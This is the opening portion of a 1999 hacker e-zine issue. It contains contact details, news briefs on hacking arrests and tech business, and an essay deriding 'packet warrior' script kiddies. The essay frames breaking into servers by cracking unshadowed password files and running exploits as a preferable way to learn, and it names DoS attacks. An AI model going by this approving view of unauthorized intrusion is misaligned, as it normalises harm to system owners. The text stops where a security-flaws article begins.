    [ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
  ==========================================================================
  =                     <=-[ HWA.hax0r.news ]-=>                           =
  ==========================================================================
    [=HWA'99=]                         Number 6 Volume 1 1999 Feb 13/14th 99
  ==========================================================================

  
   "You know its going to be one of those days when you wake up at 4am and
    go into #insomniacs for some company but everyone else is asleep..." 
                                        
                                                         - VeXxation
  
   Synopsis
   --------     
   
   The purpose of this newsletter is to 'digest' current events of interest
   that affect the online underground and netizens in general. This includes
   coverage of general security issues, hacks, exploits, underground news
   and anything else I think is worthy of a look see.

    This list is NOT meant as a replacement for, nor to compete with, the
   likes of publications such as CuD or PHRACK or with news sites such as
   AntiOnline, the Hacker News Network (HNN) or mailing lists such as
   BUGTRAQ or ISN nor could any other 'digest' of this type do so.

    It *is* intended  however, to  compliment such material and provide a
   reference to those who follow the culture by keeping tabs on as many
   sources as possible and providing links to further info, its a labour
   of love and will be continued for as long as I feel like it, i'm not
   motivated by dollars or the illusion of fame, did you ever notice how
   the most famous/infamous hackers are the ones that get caught? there's
   a lot to be said for remaining just outside the circle... <g>


   @HWA
   
   ------------------------------------------------------------------------- 
  
                     Welcome to HWA.hax0r.news ... #6
                     
                         S P E C I A L  I S S U E                            
                         
                 tHe |<rAd sT. vA13nt1n3s DaY m4554cr3 1s5u3 
                 
                 
   "...F.V? (Fantasy Violence) what about R.V? (Real Violence),  there are kids
   shooting each other on the streets abd congress is worrying about the
   coyote dropping an anvil on the roadrunner" 
                                                - FProphet'99              
                     
   ------------------------------------------------------------------------- 
   
  Issue #6 middle release, Feb 13th 1999                Yes you SHOULD worry.
  
   ------------------------------------------------------------------------- 
  
  'imapd THIS muthafuckaz' 

  _____/[ INDEX ]\___________________________________________________________         

    Key     Content
  ---------------------------------------------------------------------------    
  
    0.0  .. COPYRIGHTS 
    0.1  .. CONTACT INFORMATION & SNAIL MAIL DROP ETC
    0.2  .. SOURCES        
    0.3  .. THIS IS WHO WE ARE
    0.4  .. WHAT'S IN A NAME? why `HWA.hax0r.news'?
    0.5  .. THE HWA_FAQ V1.0 
    
 ----------------------------------------------------------------------------    
    
    1.0  .. Greets
    1.1  .. Last minute stuff, rumours, newsbytes, mailbag
    2.0  .. From the editor
    3.0  .. The Future of Hacking by pH4RcYd3
    3.1  .. Angelfire Flaws by pH4RcYd3
    3.2  .. Some underground prose from Liquid Phire
    4.0  .. Intercepted log from a private LoU irc conference courtesy of Ruffneck    
    5.0  .. Microsoft security advisories
    5.1  .. Sun security advisories
    5.2  .. eYE security advisories
    6.0  .. Arbitrary command execution using Pine
    7.0  .. Hacking in Germany by Qubik
    8.0  .. Spotlight on: Project Gamma by Qubik
    9.0  .. Secret Cyber Sex; Gary, your secret is out!
   10.0  .. So is Mr Lewis's Kidney! 
   11.0  .. Free Email acct's full of security holes?
   12.0  .. Quebec government's hacker challenge 
   13.0  .. News from Tokyo from Wile
      
    A.0  .. APPENDICES  
    A.1  .. PHACVW linx and references 

  ---------------------------------------------------------------------------
  
      The name Linus means "flaxen-haired" and is of Greek origin ...- Ed
      
      
       "Shouting the loudest does not make you right or true" - FP
 
  ---------------------------------------------------------------------------      

     @HWA'99                 
     
     
  
         
  0.0  (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
     THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE
     OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO
     WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT
     (LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST
     READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ).
     
     Important semi-legalese and license to redistribute:
     
     YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF 
     AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE
     ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED 
     IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE 
     APPRECIATED the current link is http://welcome.to/HWA.hax0r.news
     IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK
     ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL
     ME PRIVATELY current email cruciphux@dok.org 
     
     THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL
     WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL
     THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS:
     
     I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE
     AND REDISTRIBUTE/MIRROR. - EoD
   
    
     Although this file and all future issues are now copyright, some of
    the content holds its  own copyright and these are printed and 
    respected. News is news so i'll print any and all news but will quote 
    sources when the source is known, if its good enough for CNN its good
    enough for me. And i'm doing it for free on my own time so pfffft. :) 
    
    No monies are made or sought through the distribution of this material.
    If you have a problem or concern email me and we'll discuss it.
    
    cruciphux@dok.org
    
    Cruciphux [C*:.]

      
     
  0.1  CONTACT INFORMATION AND MAIL DROP
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       Has it occurred to anybody that "AOL for Dummies" is an extremely
       redundant name for a book? 
                                      - unknown
       
           
     Wahoo, we now have a mail-drop, if you are outside of the U.S.A or 
    Canada / North America (hell even if you are inside ..) and wish to
    send printed matter like newspaper clippings a subscription to your
    cool foreign hacking zine or photos, small non-explosive packages
    or sensitive information etc etc well, now you can. (w00t) please
    no more inflatable sheep or plastic dog droppings, or fake vomit
    thanks.
    
    Send all goodies to:
    
	    HWA NEWS
	    P.O BOX 44118
	    370 MAIN ST. NORTH
	    BRAMPTON, ONTARIO
	    CANADA
	    L6V 4H5
	    
    Ideas for interesting 'stuff' to send in apart from news:
    
    - Photo copies of old system manual front pages (optionally signed by you) ;-)
    - Photos of yourself, your mom, sister, dog and or cat in a NON
      compromising position plz I don't want pr0n. <g>
    - Picture postcards
    - CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250
      tapes with hack/security related archives, logs, irc logs etc on em.
    - audio or video cassettes of yourself/others etc of interesting phone
      fun or social engineering examples or transcripts thereof.
    
    If you still can't think of anything you're probably not that interesting
    a person after all so don't worry about it <BeG>  
    
    Our current email:
    
    Submissions/zine gossip.....: hwa@press.usmc.net
    Private email to editor.....: cruciphux@dok.org
    Distribution/Website........: sas72@usa.net

    @HWA

           
    
  0.2  Sources ***
       ~~~~~~~~~~~     

     Sources can be some, all, or none of the following (by no means complete
    nor listed in any degree of importance) Unless otherwise noted, like msgs
    from lists or news from other sites, articles and information is compiled
    and or sourced by Cruciphux no copyright claimed.

    HiR:Hackers Information Report... http://axon.jccc.net/hir/
    News & I/O zine ................. http://www.antionline.com/
   *News/Hacker site................. http://www.bikkel.com/~demoniz/ *DOWN!*
    News (New site unconfirmed).......http://cnewz98.hypermart.net/
    Back Orifice/cDc..................http://www.cultdeadcow.com/
    News site (HNN) .....,............http://www.hackernews.com/
    Help Net Security.................http://net-security.org/  
    News,Advisories,++ ...............http://www.l0pht.com/
    NewsTrolls (HNN)..................http://www.newstrolls.com/
    News + Exploit archive ...........http://www.rootshell.com/beta/news.html
    CuD ..............................http://www.soci.niu.edu/~cudigest
    News site+........................http://www.zdnet.com/

    +Various mailing lists and some newsgroups, such as ...
    +other sites available on the HNN affiliates page, please see
     http://www.hackernews.com/affiliates.html as they seem to be popping up
     rather frequently ...

    * Yes demoniz is now officially retired, if you go to that site though the
     Bikkel web board (as of this writing) is STILL ACTIVE, www.hwa-iwa.org will
     also be hosting a webboard as soon as that site comes online perhaps you can
     visit it and check us out if I can get some decent wwwboard code running I
     don't really want to write my own, another alternative being considered is a
     telnet bbs that will be semi-open to all, you will be kept posted. - cruciphux
    
    http://www.the-project.org/ .. IRC list/admin archives
    http://www.anchordesk.com/  .. Jesse Berst's AnchorDesk
    
    alt.hackers.malicious
    alt.hackers
    alt.2600
    BUGTRAQ
    ISN security mailing list
    ntbugtraq
    <+others>

    NEWS Agencies, News search engines etc:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    http://www.cnn.com/SEARCH/
    http://www.foxnews.com/search/cgi-bin/search.cgi?query=cracker&days=0&wires=0&startwire=0
    http://www.news.com/Searching/Results/1,18,1,00.html?querystr=cracker
    http://www.ottawacitizen.com/business/
    http://search.yahoo.com.sg/search/news_sg?p=cracker
    http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=cracker
    http://www.zdnet.com/zdtv/cybercrime/
    http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column)

    NOTE: See appendices for details on other links.
    
    Referenced news links
    ~~~~~~~~~~~~~~~~~~~~~
       
    http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm
    http://freespeech.org/eua/ Electronic Underground Affiliation
    http://www.l0pht.com/cyberul.html     
    http://www.hackernews.com/archive.html?122998.html
    http://ech0.cjb.net ech0 Security
    http://net-security.org Net Security  

    ...
    
    
    Submissions/Hints/Tips/Etc
    ~~~~~~~~~~~~~~~~~~~~~~~~~~
    All submissions that are `published' are printed with the credits
    you provide, if no response is received by a week or two it is assumed
    that you don't care wether the article/email is to be used in an issue
    or not and may be used at my discretion.
    
    Looking for:
    
    Good news sites that are not already listed here OR on the HNN affiliates
    page at http://www.hackernews.com/affiliates.html
    
    Magazines (complete or just the articles) of breaking sekurity or hacker
    activity in your region, this includes telephone phraud and any other
    technological use, abuse hole or cool thingy. ;-) cut em out and send it
    to the drop box.
    
    
    - Ed
    
    Mailing List Subscription Info   (Far from complete)         Feb 1999
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   ~~~~~~~~~~~~~~~~~~~         ~~~~~~~~	
        
    ISS Security mailing list faq : http://www.iss.net/iss/maillist.html
    
    
    THE MOST READ:
    
    BUGTRAQ - Subscription info
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    What is Bugtraq?     

    Bugtraq is a full-disclosure UNIX security mailing list, (see the info
    file) started by Scott Chasin <chasin@crimelab.com>. To subscribe to 
    bugtraq, send mail to listserv@netspace.org containing the message body
    subscribe bugtraq. I've been archiving this list on the web since late 
    1993. It is searchable with glimpse and archived on-the-fly with hypermail.
    
    Searchable Hypermail Index;
         
          http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html
    
    
        
    About the Bugtraq mailing list
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    The following comes from Bugtraq's info file: 

    This list is for *detailed* discussion of UNIX security holes: what they are,
    how to exploit, and what to do to fix them. 

    This list is not intended to be about cracking systems or exploiting their 
    vulnerabilities. It is about defining, recognizing, and preventing use of 
    security holes and risks. 

    Please refrain from posting one-line messages or messages that do not contain
    any substance that can relate to this list`s charter. 

    I will allow certain informational posts regarding updates to security tools,
    documents, etc. But I will not tolerate any unnecessary or nonessential "noise"
    on this list. 

    Please follow the below guidelines on what kind of information should be posted
    to the Bugtraq list: 

    + Information on Unix related security holes/backdoors (past and present) 
    + Exploit programs, scripts or detailed processes about the above 
    + Patches, workarounds, fixes 
    + Announcements, advisories or warnings 
    + Ideas, future plans or current works dealing with Unix security 
    + Information material regarding vendor contacts and procedures 
    + Individual experiences in dealing with above vendors or security organizations 
    + Incident advisories or informational reporting 

    Any non-essential replies should not be directed to the list but to the originator of the message. Please do not "CC" the bugtraq
    reflector address if the response does not meet the above criteria. 

    Remember: YOYOW. 

    You own your own words. This means that you are responsible for the words that you post on this list and that reproduction of
    those words without your permission in any medium outside the distribution of this list may be challenged by you, the author. 

    For questions or comments, please mail me: 
    chasin@crimelab.com (Scott Chasin) 

    
    BEST-OF-SECURITY Subscription Info.
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
           
    
                    _/_/_/          _/_/          _/_/_/
                   _/    _/      _/    _/      _/
                  _/_/_/        _/    _/        _/_/
                 _/    _/      _/    _/            _/
                _/_/_/          _/_/        _/_/_/

                Best            Of          Security

    "echo subscribe|mail best-of-security-request@suburbia.net"

                                or

    "echo subscribe|mail best-of-security-request-d@suburbia.net"

                          (weekly digest)

    For those of you that just don't get the above, try sending a message to
    best-of-security-request@suburbia.net with a subject and body of subscribe
    and you will get added to the list (maybe, if the admin likes your email).  


    @HWA
    
     
  0.3  THIS IS WHO WE ARE 
       ~~~~~~~~~~~~~~~~~~
      
      'A "thug" was once the name for a ritual strangler, and is taken from
       the Hindu word Thag... ' - Ed
      
      
      Some HWA members and Legacy staff
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    
      cruciphux@dok.org.........: currently active/editorial
      darkshadez@ThePentagon.com: currently active/man in black
      fprophet@dok.org..........: currently active/IRC+ man in black
      sas72@usa.net ............. currently active/IRC+ distribution
      vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black
      dicentra...(email withheld): IRC+ grrl in black
      
      
      Foreign Correspondants/affiliate members
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      ATTENTION: All foreign correspondants please check in or be removed by next
      issue  I need  your current emails since contact info was recently lost in a 
      HD mishap and i'm not carrying any deadweight. Plus we need more people sending
      in info, my apologies for not getting back to you if you sent in January I lost
      it, please resend. 
      
      
               
       N0Portz ..........................: Australia      
       Qubik ............................: United Kingdom 
       system error .....................: Indonesia      
       Wile (wile coyote) ...............: Japan/the East 
       Ruffneck  ........................: Netherlands/Holland
       
       And unofficially yet contributing too much to ignore ;)
       
       Spikeman .........................: World media 
       
       Please send in your sites for inclusion here if you haven't already
       also if you want your emails listed send me a note ... - Ed
       
      http://www.genocide2600.com/~spikeman/  .. Spikeman's DoS and protection site
        
       
     Contributors to this issue:
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~
       liquid phire......................: underground prose
       pH4RcYd3 .........................: The Future of Hacking+       
       Qubik ............................: Hacking in Germany+     
       Ruffneck .........................: LoU irc log+
       Spikeman .........................: daily news updates+       
       Wile .............................: News from Tokyo
       
       
       
       
    :-p  
    
    
    1. We do NOT work for the government in any shape or form.
     
    2. Unchanged since issue #1,
        
    
    @HWA
    
    

  0.4  Whats in a name? why HWA.hax0r.news??
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
      Well what does HWA stand for? never mind if you ever find out I may
     have to get those hax0rs from 'Hackers' or the Pretorians after you.
     
     In case you couldn't figure it out hax0r is "new skewl" and although
     it is laughed at, shunned, or even pidgeon holed with those 'dumb
     leet (l33t?) dewds' <see article in issue #4> this is the state
     of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you 
     up  and comers, i'd highly recommend you get that book. Its almost 
     like  buying a clue. Anyway..on with the show .. - Editorial staff
     

   

  0.5  HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated)
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
    Also released in issue #3. (unchanged) check that issue for the faq
    it won't be reprinted unless changed in a big way with the exception
    of the following excerpt from the FAQ, included to assist first time
    readers:

    Some of the stuff related to personal useage and use in this zine are
    listed below: Some are very useful, others attempt to deny the any possible
    attempts at eschewing obfuscation by obsucuring their actual definitions.
    
    @HWA  - see EoA  ;-)
    !=    - Mathematical notation "is not equal to" or "does not equal"
            ASC(247)  "wavey equals" sign means "almost equal" to. If written
            an =/= (equals sign with a slash thru it) also means !=, =< is Equal
            to or less than and =>  is equal to or greater than (etc, this aint 
            fucking grade school, cripes, don't believe I just typed all that..)      
    AAM   - Ask a minor (someone under age of adulthood, usually <16, <18 or <21)
   *AOL   - A great deal of people that got ripped off for net access by a huge
            clueless isp with sekurity that you can drive buses through, we're
            not talking Kung-Fu being none too good here, Buy-A-Kloo maybe at the
            least they could try leasing one??
    CC    - Credit Card phraud
    CCC   - Chaos Computer Club (Germany)               
    EoC   - End of Commentary
    EoA   - End of Article or more commonly @HWA
    EoF   - End of file
    EoD   - End of diatribe (AOL'ers: look it up)
    FUD   - Coined by Unknown and made famous by HNN <g> - "Fear uncertainty and doubt",
            usually in general media articles not high brow articles such as ours or other
            HNN affiliates ;)
    HNN   - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html       
    NFC   - Depends on context: No Further Comment or No Fucking Comment
    NFR   - Network Flight Recorder (Do a websearch)
    PHACV - And variations of same <coff> 
           Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare
          
          Alternates: H - hacking, hacktivist
                      C - Cracking <software>
                      C - Cracking <systems hacking>
                      V - Virus 
                      W - Warfare <cyberwarfare usually as in Jihad>
                      CT - Cyber Terrorism
    TBC - To Be Continued also 2bc (usually followed by ellipses...) :^0
    TBA - To Be Arranged/To Be Announced also 2ba
    TFS - Tough fucking shit.
    
    
        
  1.0  Greets!?!?! yeah greets! w0w huh. - Ed
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
     Thanks to all in the community for their support and interest but i'd
     like to see more reader input, help me out here, whats good, what sucks
     etc, not that I guarantee i'll take any notice mind you, but send in 
     your thoughts anyway.
     
     
     Shouts to:

       * Kevin Mitnick       * demoniz          * The l0pht crew
       * tattooman           * Dicentra         * Pyra          
       * Vexxation           * FProphet         * TwistedP      
       * NeMstah             * the readers
     
       * all the people who sent in cool emails and support
       * our new 'staff' members.
     
  
     kewl sites:
     
     + http://www.freshmeat.net/
     + http://www.slashdot.org/
     + http://www.l0pht.com/
     + http://www.2600.com/
     + http://hacknews.bikkel.com/ (http://www.bikkel.com/~demoniz/)
     + http://www.legions.org/
     + http://www.genocide2600.com/      
     + http://www.genocide2600.com/~spikeman/
     + http://www.genocide2600.com/~tattooman/     
     + http://www.hackernews.com/ (Went online same time we started issue 1!)          
   
     @HWA
     

  1.1  Last minute stuff, rumours and newsbytes
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       "What is popular isn't always right, and what is right isn't
         always popular..." 
                           - FProphet '99

    +++ When was the last time you backed up your important data?    
    
    ++  Check out http://c5.hakker.com/ kewl hostname, kewl host, i was bribed to
        say this and its in German so I dunno if its great or not but check em
        out anyways, webhosting, email forwarding etc etc ;) (Pages in German)
    
    ++  IS YOUR 'FREEMAIL' ACCOUNT FULL OF SECURITY HOLES?
        Contributed by me, source: ZDNet news, see section 11 for the full article.
        If you have an account on Hotmail, Yahoo!, or Excite, it's vulnerable to
        hackers. Ira Winkler investigates the security risks of free e-mail services.

        http://chkpt.zdnet.com/chkpt/zdnu99021301/www.zdnet.com/zdtv/cybercrime/spyfiles/story/0,3700,2205746,00.html
    
    ++ 15 YR OLD AND 18 YR OLD BUSTED FOR ATTEMPTED COMPUTER BREAKINS
       (HNN/contributed by erehwon) Source: Washington Post
     
        Vienna Virginia police have arrested a 15 year old freshman for
       breaking into the computers at Clemson University and
       attempting to break into systems at NASA. The Vienna student
       was arrested Feb. 1 on charges of felony computer trespass and
       misdemeanor computer fraud. Authorities in South Carolina have
       arrested Steven Ray McAlister, 18, of Pelzer, S.C., and charged
       him with conspiracy to commit computer crime, naming the
       Vienna youth as his co-conspirator.        
    
       http://search.washingtonpost.com/wp-srv/WPlate/1999-02/12/032l-021299-idx.html

    ++ Dallas Semi Debuts Single-Chip Temperature Data Logger
       Contributed to HWA by Spikeman Source: techweb
       
       DS1615 Temperature Recorder integrates a Y2K-compatible
       real-time clock, digital thermometer, nonvolatile memory, control
       logic, and serial interface.
       http://www.techweb.com/wire/story/TWB19990211S0008


    ++ Where's Waldo? Maybe On The Edge Of A Chip
       Contributed to HWA by Spikeman Source: techweb
       
       Designers have been putting their initials on chips for years, but
       finer geometries open the possibility of more sophisticated images,
       such as cartoon characters.
       http://www.techweb.com/wire/story/TWB19990211S0001


    ++ AT&T CEO: Scrap Phone-Access Charges
       Contributed to HWA by Spikeman Source: techweb
       
       Dumping access charges means an end to universal service, a
       decades-long tradition of low-cost phone service to rural areas.
       http://www.techweb.com/wire/story/TWB19990210S0016

    ++ DOJ: Microsoft Feared Fair Competition
       Contributed to HWA by Spikeman Source: techweb
       
       The government's lead attorney says Microsoft feared competing
       with Netscape and relied on exclusionary contracts with ISPs.
       http://www.techweb.com/wire/story/msftdoj/TWB19990210S0014



    ++ Gateway Looks To Serve Networked Homes
       Contributed to HWA by Spikeman Source: techweb
       
       Gateway is designing a server to serve the networked home of the
       future.
       http://www.techweb.com/wire/story/TWB19990210S0017

    ++ MTV's Road Rules, a hacker haven?
       Abe, some dork on Road Rules an MTV show was seen sporting an "official"
       r00t hat... you mean just anyone can't make a hat with "r00t" on it? geez
       anyway w00t to the r00t ... contributed by everyone and even discussed on
       irc and dc-stuff ... (*sigh*) watch for the new HWA.hax0r.news t-shirts and
       hats to come soon!!! =) (No offense to r00t intended, they rock harder than
       MTV ever could - Ed ps. add me to the bots! ? whats the #Hack key? ;) <sic>

    ++ Online Freedom Of Information Sparks Fears
       Contributed to HWA by Spikeman Source: techweb
       
       Requirement to publish disaster information about nation's chemical
       plants may be road map for terrorists, lawmakers say.
       http://www.techweb.com/wire/story/TWB19990210S0015

   
     
    ++ ONLINE PORN  VIGILANTE "A LIAR" (CULT. 9:20 am)    
       Contributed to HWA by Spikeman Source: ZDNnet news
         
       http://www.wired.com/news/news/email/explode-infobeat/culture/story/17789.html
       A former hacker made headlines all over the world when he declared war on
       child pornographers. But his one-man campaign wasn't all it was cracked up
       to be. By Steve Silberman.

    ++ FREE PCS -- WITH A CATCH (BUS. 7:28 am)
       Contributed to HWA by Spikeman Source: ZDNet news
        
       http://www.wired.com/news/news/email/explode-infobeat/business/story/17783.html
       A California start-up is offering Compaq computers to the
       first 10,000 people to sign away their consumer privacy.



    ++ BT, MICROSOFT IN WIRELESS DEAL (BUS. 7:28 am)
       Contributed to HWA by Spikeman Source: ZDNet news
         
       http://www.wired.com/news/news/email/explode-infobeat/business/story/17784.html

       The two companies reach an agreement to develop Internet and
       corporate data services for mobile users.       


    ++ CHINESE DISSIDENT APPEALS (POL. 7:28 am)
       Contributed to HWA by Spikeman Source: ZDNet news
       
       http://www.wired.com/news/news/email/explode-infobeat/politics/story/17785.html
      
       A software engineer is fighting the two-year sentence that a Shanghai
       court gave him for providing email addresses to US-based publications.



    ++ Early Y2K Suit Struck Down
       Contributed to HWA by Spikeman Source: The Recorder
        
      " ...in California Intuit Inc. has won another round in the ongoing Y2K
      litigation wars. A California judge has dismissed most of the case
      against it in a combined class action suit, In re Intuit Inc. Year 2000
      California Litigation. Plaintiffs had alleged that Intuit's Quicken
      financial software is not Year 2000 compliant and that consumers had
      already been damaged as a result. The judge threw out damages and fraud
      claims, but said plaintiffs could amend their injunctive relief
      complaint, which centers on the charge that Intuit engaged in unfair
      business practices." (The Recorder) -- 
      
      For complete story, see;
      
      http://www.lawnewsnetwork.com/stories/feb/e020899k.html)
        
        
        
   ++ HACKER STEALS WOMAN'S PASSWORD, SENDS PORNO OFFER IN HER NAME - SF Gate 02/04/99
      Contributed to HWA by Spikeman Source: SF Gate
      
      http://www.sfgate.com/cgi-bin/article.cgi?file=/news/archive/1999/02/04/state1338EST0026.DTL
        
      (02-04) 10:38 PST APTOS, Calif. (AP) -- A 70-year-old woman who used 
      the Internet to learn about quilting and coins was targeted by a 
      hacker who stole her password and used it to send 22,000 pornographic 
      e-mails in her name.
        
      "Lucille Nordgren, a grandmother of five, thought America Online was a 
       convenient way to follow her hobbies. She was still reeling on 
       Thursday from the news her account was used to send electronic ads 
       for a web site offering ``incest, fetishes, super young teens, wild 
       orgies and bondage.''
        
        
    ++ Web Site Won
       Contributed to HWA by Spikeman
        
       The anti-abortion Web site the Nuremberg Files was thrown on the
       defensive by last week's federal court jury verdict. Then, the site was
       shut down Friday afternoon by its Internet service provider, MindSpring.
       However, 54-year-old computer programmer Otis O'Neal "Neal" Horsley, is
       searching for another ISP. The good news for Horsley is that the judge
       in the Portland, Ore., case refused to grant an injunction closing down
       the site. "If I go to jail over this, I take the First Amendment with
       me," Horsley said. (Fulton County Daily Report -- For complete story,
       see http://www.lawnewsnetwork.com/stories/feb/e020899h.html)
        
        
    ++ Intel Trying to Oust FTC Lawyer
       Contributed to HWA by Spikeman
        
      Intel is trying to bench the lead government counsel in the Federal
      Trade Commission's antitrust case against the chip maker. Richard
      Parker, deputy director of the agency's competition bureau and first
      chair for the upcoming March 9 trial, is the subject of a motion to
      disqualify. Intel filed the motion under seal last month. The company
      declined to comment on its grounds for disqualifying Parker, but
      Parker's former law firm, O'Melveny & Myers, represented Advanced Micro
      Devices in its court battles with Intel in the early '90s, and former
      O'Melveny partner Tom McCoy left the firm to become AMD's general
      counsel. An FTC spokesperson said that it had cleared Parker's
      involvement in the case with two ethics experts. (CNET News -- For
      complete story, see
      
      http://www.news.com/News/Item/0,4,32148,00.html?st.ne.ni.lh)

     
     
     Mucho thanks to Spikeman for directing his efforts to our cause of bringing
     you the news you want to read about in a timely manner ... - Ed
     
     @HWA
     
     
  2.0  From the editor.
       ~~~~~~~~~~~~~~~~

     #include <stdio.h>
     #include <insight.h>
     #include <backup.h>

     main()
     {
      printf ("Read commented source!\n\n");
      
     /*             
      *Ok kiddies we're pumping out some more stuff here as we steamroll into  
      *issue #6 i'm wondering if we can really pull off a weekly release as
      *hoped. I mean hopefully not too many people are getting caught and not
      *too many sites (bah hahahaha yeah right) are being vandalized by the script
      *kiddiez etc. Work continues on hwa-iwa.org which is running Debian Linux at
      *this time, i'm playing around with some stuff there but don't bother port
      *scanning etc u won't find anything interesting on that box unless you really
      *want to snarf half written articles <grin> etc ... besides if you did break
      *in i'd just end up writing a story about it so whats the point? *g* moving
      *right along, thanks for the continued support everyone and tty next time...
      */
      printf ("EoF.\n");
      }


      www.hwa-iwa.org is now online but not ready for primetime yet, if you go
      there you will just be presented with a link to the HWA.hax0r.news mirrors
      the site is under major development and will be announced here when it goes
      "online for primetime" with webboard and file archives etc etc, stay tuned
      for more as it becomes available ie: as I get it done ... ;)
      
      Issue #6! ... w00t w00t w00t! ... 
      
      w00t! /`wu:t n & v w00ten /`wu:ten n & v Eng. Unk.
        1. A transcursion or transcendance into joy from an otherwise inert state
        2. Something Cruciphux can't go a day without typing on Efnet
     
      Congrats, thanks, articles, news submissions and kudos to us at the
     main address: hwa@press.usmc.net complaints and all nastygrams and 
     mailbombs can go to /dev/nul nukes, synfloods and papasmurfs to 
     127.0.0.1, private mail to cruciphux@dok.org

     danke.

     C*:.


     @HWA
     
     
         
                    
  3.0 The Future of Hacking by pH4RcYd3
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
            
      -------------------------
       The Future of Hacking
      =========================
             
      by pH4RcYd3!pDX
      [ pArAd0x ]
      
      pH4RcYd3@hotmail.com
        

        The future of Hacking some people do not think about...But as I was
      browsing CyberArmy.com's WWWBoard for some interesting conversations I
      was bombarded by messages saying "Anyone have a Win98 Spoofer" and "How
      do you find out someone's IP number in AOL" and such things like that. 
      
       These tell me one thing about a  person...LAMER! These people do not
      know any other OS except Winblowz and like to nuke and punt people for 
      whatever immature reason. They like to send out virii and scerew up 
      someone's computer for no absolute reason. If I ever met one of these 
      people in person you know what I would see? I would see a 13 yr. old boy
      (or girl) cowering behind his WinNuke walking around a computer store 
      asking people if they memorized there IP number and if they did, can they
      give it to him. Now I realize that i'm generalizing packet warriors at 
      around teen years, but I won't be quick to speak for all 13 yr olds. Some
      of them may have a great understanding of Unix and all its other variations
      and might be more l33t than yours truly. But if you've ever gotten into a 
      fight with someone from AOL, or any other packet warrior they think there 
      hackers and they try to mailbomb you and nuke you, icmp you, and any other
      windows based attack. Not to say that I hate AOL, it's just some packet 
      warrior newbies, meaning new to DoS attacks and such are usually from AOL,
      and they started out using punters. In fact I think AOL is good for people
      that don't have that much experience with being online and on the internet,
      AOL provides a lovely user interface, and is definitely user friendly. Now
      if these people ever got into Linux they would probaly be teardropping and
      smurfing everybody but that's not the case because there to illiterate to 
      new information. 
      
       The information they could find on Webpages by spending 2 to 3 hours 
      everyday reading articles is amazing. But they choose not to. I didn't say
      they were to dumb to learn how to use any other OS, or to learn some of the
      flaws of a system. They just don't want to, to learn something you have to 
      want to learn it. But when they finally, maybe, when when they r00t there 
      first server, they usually did it by an exploit. Script kiddies aren't that
      bad, to exploit the bug in the system you must first upload the exploit, to
      upload something you need an account? How did they get the account? Well 
      probaly by getting the passwd file and cracking it if it's not shadowed. 
      This is better than having them running around IRC shoving packets down 
      peoples throats. At least there out there learning atleast SOMETHING from
      hacking a server. 
      
        I would rather have them find some other way to gain entry to a server 
      but hey, somethings will never change. I'm truly interested too see what
      the future of Hacking will have instore for us. 
      
      What did u think of this article? Drop me a line at 
      <a href="mailto:pH4RcYd3@hotmail.com">pH4RcYd3@hotmail.com</a>      

     @HWA
     
     
 3.1   Angelfire Security flaws by pH4RcYd3
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       ============================
        Angelfire Security Flaws
        by pH4RcYd3(@hotmail.com)
           pDX![ pArAd0x ]
       ----------------------------

       Slightly reformatted/edited for clarity - Ed
       
      Introduction
      ~~~~~~~~~~~~

	Earlier in the year, I found an article on the web that eZoOns wrote
